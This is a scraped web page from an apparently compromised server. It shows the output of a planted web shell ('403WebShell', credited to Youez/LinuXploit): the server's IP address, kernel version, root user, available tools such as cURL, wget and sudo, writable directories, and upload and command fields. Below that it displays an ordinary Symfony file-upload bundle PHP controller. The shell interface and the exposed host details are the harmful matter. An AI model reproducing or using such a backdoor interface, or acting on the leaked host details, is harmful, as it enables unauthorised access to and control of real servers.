WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.252
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/oneup/uploader-bundle/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/oneup/uploader-bundle/Controller/AbstractChunkedController.php
<?php

namespace Oneup\UploaderBundle\Controller;

use Oneup\UploaderBundle\Event\PostChunkUploadEvent;
use Oneup\UploaderBundle\Uploader\Response\ResponseInterface;
use Oneup\UploaderBundle\UploadEvents;
use Symfony\Component\HttpFoundation\File\UploadedFile;
use Symfony\Component\HttpFoundation\Request;

abstract class AbstractChunkedController extends AbstractController
{
    /**
     *  Parses a chunked request and return relevant information.
     *
     *  This function must return an array containing the following
     *  keys and their corresponding values:
     *    - last: Wheter this is the last chunk of the uploaded file
     *    - uuid: A unique id which distinguishes two uploaded files
     *            This uuid must stay the same among the task of
     *            uploading a chunked file.
     *    - index: A numerical representation of the currently uploaded
     *            chunk. Must be higher that in the previous request.
     *    - orig: The original file name.
     *
     * @param Request $request - The request object
     *
     * @return array
     */
    abstract protected function parseChunkedRequest(Request $request);

    /**
     *  This function will be called in order to upload and save an
     *  uploaded chunk.
     *
     *  This function also calls the chunk manager if the function
     *  parseChunkedRequest has set true for the "last" key of the
     *  returned array to reassemble the uploaded chunks.
     *
     * @param UploadedFile      $file     - The uploaded chunk
     * @param responseInterface $response - A response object
     * @param Request           $request  - The request object
     */
    protected function handleChunkedUpload(UploadedFile $file, ResponseInterface $response, Request $request)
    {
        // get basic container stuff
        $chunkManager = $this->container->get('oneup_uploader.chunk_manager');

        // get information about this chunked request
        [$last, $uuid, $index, $orig] = $this->parseChunkedRequest($request);

        $chunk = $chunkManager->addChunk($uuid, $index, $file, $orig);

        if (null !== $chunk) {
            $this->dispatchChunkEvents($chunk, $response, $request, $last);
        }

        if ($chunkManager->getLoadDistribution()) {
            $chunks = $chunkManager->getChunks($uuid);
            $assembled = $chunkManager->assembleChunks($chunks, true, $last);

            if (null === $chunk) {
                $this->dispatchChunkEvents($assembled, $response, $request, $last);
            }
        }

        // if all chunks collected and stored, proceed
        // with reassembling the parts
        if ($last) {
            if (!$chunkManager->getLoadDistribution()) {
                $chunks = $chunkManager->getChunks($uuid);
                $assembled = $chunkManager->assembleChunks($chunks, true, true);
            }

            $path = $assembled->getPath();

            $this->handleUpload($assembled, $response, $request);

            $chunkManager->cleanup($path);
        }
    }

    /**
     *  This function is a helper function which dispatches post chunk upload event.
     *
     * @param mixed             $uploaded - The uploaded chunk
     * @param responseInterface $response - A response object
     * @param Request           $request  - The request object
     * @param bool              $isLast   - True if this is the last chunk, false otherwise
     */
    protected function dispatchChunkEvents($uploaded, ResponseInterface $response, Request $request, $isLast)
    {
        // dispatch post upload event (both the specific and the general)
        $postUploadEvent = new PostChunkUploadEvent($uploaded, $response, $request, $isLast, $this->type, $this->config);
        $this->dispatchEvent($postUploadEvent, UploadEvents::POST_CHUNK_UPLOAD);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit